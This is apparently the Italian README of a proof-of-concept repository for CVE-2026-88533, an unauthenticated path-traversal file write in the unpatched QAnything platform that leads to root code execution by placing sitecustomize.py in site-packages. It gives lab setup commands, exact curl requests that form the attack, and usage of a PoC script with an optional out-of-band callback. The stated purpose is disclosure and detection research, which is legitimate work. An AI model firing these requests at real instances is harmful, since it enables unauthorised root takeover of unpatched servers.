
PoC e riproduzione in laboratorio per CVE-2026-88533, una scrittura arbitraria di file non autenticata che porta a RCE come root in QAnything tramite path traversal nell'endpoint di upload.
ID CVE: CVE-2026-88533 (assegnato da MITRE, pubblicazione del record in sospeso)
Prodotto: QAnything di netease-youdao — piattaforma open-source RAG / knowledge-base QA
Affetto: dalla v1.4.x alla v2.0.0 (branch predefinito qanything-v2, fino al commit finale 65de104)
Versione corretta: nessuna — progetto non mantenuto dal 2025-03-12; l'unico fix di sanitizzazione (PR #483) risiede sul branch legacy master e non è mai stato unito in qanything-v2
Debolezza: CWE-22 Path Traversal
Impatto: Creazione arbitraria di file non autenticata → Remote Code Execution come uid=0(root)
Scopritore: Yankui Li
L'endpoint di upload dei file POST /api/local_doc_qa/upload_files prende il
multipart controllato dall'attaccante e lo usa come percorso di destinazione senza sanitizzare
i separatori di percorso. espande di nuovo in , il filtro dei
caratteri a larghezza intera e il troncamento della lunghezza lasciano intatti e i percorsi
assoluti, e .
Il conseguente scrive contenuto controllato dall'attaccante ovunque
il processo possa arrivare — all'interno di un container per impostazione predefinita.
filenameurllib.parse.unquote()%2f/../os.path.join(base, name)name è assolutoopen(file_location, "wb")rootPoiché il prodotto non richiede autenticazione in nessun punto (user_id/user_info sono
semplici parametri della richiesta), qualsiasi istanza raggiungibile in rete accetta questo
anonimamente.
handler.py :: upload_files
file.name ──► urllib.parse.unquote() # %2f → "/"
──► full-width char filter # cosmetic only
──► truncate_filename() # length cap, no "/" or ".." filtering
core/local_file.py :: LocalFile.__init__
file_location = os.path.join(file_dir, file_name) # absolute name → base discarded
open(file_location, "wb") # arbitrary write
Due proprietà rendono questo sfruttabile in modo affidabile:
../.%2e%2e%2f sopravvive perché unquote viene eseguito prima di qualsiasi filtro.Un contrasto di hardening all'interno dello stesso codebase: l'endpoint upload_faqs sostituisce
/ con _ nei nomi dei file. upload_files non ha mai ricevuto quel trattamento, rendendolo
l'unico vettore di scrittura.
Nota: LocalFile.__init__ ha una guardia if not os.path.exists(file_location), quindi possono
essere creati solo nuovi file — i file esistenti non possono essere sovrascritti. Lo sfruttamento
prende quindi di mira nuovi file in posizioni eseguibili.
L'immagine Docker ufficiale esegue il backend Python come root. CPython importa automaticamente
sitecustomize.py da site-packages all'avvio dell'interprete — un nuovo file depositato in:
usr/local/lib/python3.10/site-packages/sitecustomize.py
(7×../ relativo, o percorso assoluto) viene importato la volta successiva in cui il backend si
avvia, eseguendo codice dell'attaccante come uid=0(root).
Perché
site-packagese non la directory dell'app? CPython eseguesite.pyprima di inseriresys.path[0], quindi unsitecustomize.pyaccanto allo script di entry non viene importato automaticamente.site-packagesè l'unica zona di deposito affidabile.
Altri vettori sono stati testati ed esclusi (documentati per completezza):
/etc/cron.d/ — la directory esiste e accetta scritture, ma l'immagine non include nessun demone cron, quindi nulla esegue mai il payload.Immagine ufficiale + sorgente vulnerabile fissato (commit 65de104):
git clone <this-repo> && cd CVE-2026-88533
git clone https://github.com/netease-youdao/QAnything
cd QAnything && git checkout 65de104 && cd ..
docker compose -f docker-compose-lab.yaml up -d
# wait for the backend:
curl http://127.0.0.1:8777/api/health_check
Lo script PoC è incluso in questo repository (poc_qanything_cve_2026_88533.py) — ogni
elemento di prova sotto è stato prodotto eseguendolo contro lo stack di laboratorio sopra.
Clona e riproduci tu stesso l'output esatto:
# Step 1 — write primitive (harmless): marker written to /tmp inside the
# container via absolute-path multipart filename, then read back as proof
python poc_qanything_cve_2026_88533.py --mode check --container qanything-container-local
# Step 2 — full chain (LAB ONLY): sitecustomize.py into site-packages,
# container restart, code execution proven as uid=0(root)
python poc_qanything_cve_2026_88533.py --mode full --container qanything-container-local
# Optional out-of-band callback for network-level proof:
# ... --mode full --oob http://your-oob-endpoint/cb
--mode full riavvia il container di destinazione una volta (comportamento documentato;
l'import di CPython scatta all'avvio). Tutto è sicuro per impostazione predefinita: nessuna
reverse shell, nessun payload distruttivo — il payload dimostrativo scrive un file marker
contenente l'output di id.
L'intero attacco consiste in due POST HTTP; questo è ciò su cui il contenuto di rilevamento
dovrebbe fare match (il filename multipart che porta un percorso assoluto o sequenze
..//%2f è il segnale chiave):
# 1) anonymous knowledge base
curl -s -X POST http://TARGET:8777/api/local_doc_qa/new_knowledge_base \
-H "Content-Type: application/json" \
-d '{"user_id":"anyuser","user_info":"1234","kb_id":"KBattacker1","kb_name":"x"}'
# 2) upload: the filename IS the destination path (absolute path also works)
curl -s -X POST http://TARGET:8777/api/local_doc_qa/upload_files \
-F "user_id=anyuser" -F "kb_id=KBattacker1" -F "mode=strong" \
-F '[email protected];filename=../../../../../../../usr/local/lib/python3.10/site-packages/sitecustomize.py'
Tutte le prove sotto sono l'output reale del terminale di poc_qanything_cve_2026_88533.py
(lo script in questo repository) eseguito contro lo stack di laboratorio costruito da
docker-compose-lab.yaml. Nessun passaggio è stato falsificato o simulato — lo script esce con
codice non-zero a meno che ogni controllo non passi, quindi puoi verificare la catena end-to-end
da solo.
Stack di laboratorio — immagine ufficiale + dipendenze minime, tutti i container sani:

--mode check — primitiva di scrittura non autenticata confermata: il marker è stato scritto
fuori dalla directory di upload tramite un filename multipart con percorso assoluto e riletto
dall'interno del container:

--mode full — dopo il riavvio del container, CPython importa automaticamente il
sitecustomize.py depositato; il marker del payload prova l'esecuzione come uid=0(root):

È inclusa anche la trascrizione completa del terminale dell'esecuzione --mode full mostrata
sopra, verbatim: evidence/full-chain-run-2026-09-18.log —
6/6 controlli [OK], verdetto RCE CONFIRMED, marker del payload che prova uid=0(root) con un
timestamp (i valori nonce/kb_id nel log sono generati casualmente a ogni esecuzione, quindi la
tua esecuzione sarà diversa — è previsto).
Uno screenshot della pagina del record CVE sarà aggiunto una volta pubblicato il record.
| Data | Evento |
|---|---|
| 2026-08-25 | Vulnerabilità scoperta; primitiva di scrittura verificata contro un'istanza live (marker innocuo + rilettura) |
| 2026-08-29 | Catena RCE completa riprodotta in un laboratorio locale isolato; report scritto; inviato a MITRE (CNA-LR) tramite cveform |
| 2026-09-18 | CVE-2026-88533 assegnato da MITRE |
| Da definire | Record CVE pubblicato; questo repository e un write-up dettagliato rilasciati |
Questo materiale è pubblicato per ricerca difensiva e scopi educativi. Usalo solo contro sistemi di tua proprietà o per i quali hai esplicita autorizzazione scritta a testare. Vedi DISCLAIMER.md.